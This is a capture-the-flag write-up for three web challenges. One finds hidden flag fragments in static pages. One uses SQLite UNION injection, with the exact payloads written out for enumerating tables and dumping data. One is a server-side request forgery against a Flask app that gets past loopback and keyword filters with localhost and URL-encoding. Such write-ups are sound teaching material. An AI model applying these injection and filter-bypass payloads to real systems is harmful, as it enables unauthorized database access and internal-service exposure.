Web Challenges
Inspector Gadget
Description
While snooping around this website, inspector gadet lost parts of his flag. Can you help him find it?
inspector-gadget.chal.nbctf.com
Author: Goodbye
Solution
Given website is statically serving html files, different pages can be found from source:
<script>
function openotherpage() { window.location.href = "Page1.html"; }
function opengadgetarms() { window.location.href = "gadgetarms.html"; }
function opengadgetcoat() { window.location.href = "gadgetcoat.html"; }
function opengadgethat() { window.location.href = "gadgethat.html"; }
function opengadgetskates() { window.location.href = "gadgetskates.html" }
function opengadgetcopter() { window.location.href = "gadgetcopter.html" }
function opengadgetmangifyingglass() { window.location.href="gadgetmag.html" }
function opengadgetphone() { window.location.href="gadgetphone.html" }
function getflag() { window.location.href="supersecrettopsecret.txt" }
</script>
Visit all urls with not so perfect script and grep:
<title>Flag Part 1/4:nbctf{G00d_</title>
(gadgetmag.html)Flag Part 2/4: J06_
(supersecrettopsecret.txt)<img src="Krooter Gadget.jpg" alt="Flag Part 3/4: D3tect1v3_">
(index.html)
All that's missing is part 4. Lets check robots.txt:
User-agent: *
Disallow: /mysecretfiles.html
part 4/4 G4dg3t352}
(mysecretfiles.html)
Flag: nbctf{G00d_J06_D3tect1v3_G4dg3t352}
walter's crystal shop
Description
My buddy Walter is selling some crystals, check out his shop!
walters-crystal-shop.chal.nbctf.com walters_crystal_shop.zip
Author: kroot
Solution
Challenge seems to be SQLi, trying the basic payload we get confirmation:

Identify columns length: Citrine' UNION SELECT 1,2,3 --
(Already known, but double check). We see new column with our values.
PayloadsAllTheThings - SQLite3
Enumerate tables: Citrine' UNION SELECT 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --
Tables: crystals,flag
Enumerate flag
table fields: Citrine' UNION SELECT 1,2,sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag' --
Fields: CREATE TABLE flag (flag TEXT)
Get the flag: Citrine' UNION SELECT 1,2,flag from flag --
Flag: nbctf{h0p3fuLLy_7h3_D3A_d035n7_kn0w_ab0ut_th3_0th3r_cRyst4l5}
secret tunnel
Description
Can you find the flag on the other end of my secret tunnel?
secret-tunnel.chal.nbctf.com secret_tunnel.zip
Author: kroot
Solution
Main website: This magical tunnel allows you to see the first 20 characters of any website! Can you pass through this tunnel and find the flag?
URL: https://google.com
Response: <!doctype html><html itemscope="
In the given source we see 2 apps being ran:
#!/bin/sh
python3 -m flask --app flag.py run --host=0.0.0.0 --port=1337 &
python3 -m flask --app main.py run --host=0.0.0.0
@app.route("/flag", methods=["GET"])
def index():
return Response(flag, mimetype="text/plain")
Flag app is running locally and is not accessible, if we want the flag we must make a get request to localhost:1337/flag
.
Filters:
@app.route("/fetchdata", methods=["POST"])
def fetchdata():
url = request.form["url"]
if "127" in url:
return Response("No loopback for you!", mimetype="text/plain")
if url.count('.') > 2:
return Response("Only 2 dots allowed!", mimetype="text/plain")
if "x" in url:
return Response("I don't like twitter >:(" , mimetype="text/plain")
if "flag" in url:
return Response("It's not gonna be that easy :)", mimetype="text/plain")
try:
res = requests.get(url)
except Exception as e:
return Response(str(e), mimetype="text/plain")
return Response(res.text[:32], mimetype="text/plain")
We cant type
127
for127.0.0.1
, but we can just uselocalhost
..
Prevents IPv4 address.x
No idea.flag
We cant have wordflag
in the url, but we can URLEncode the word and send it that way.
Final URL: http://localhost:1337/%66%6c%61%67
Flag: nbctf{s3cr3t_7uNN3lllllllllll!}
Last updated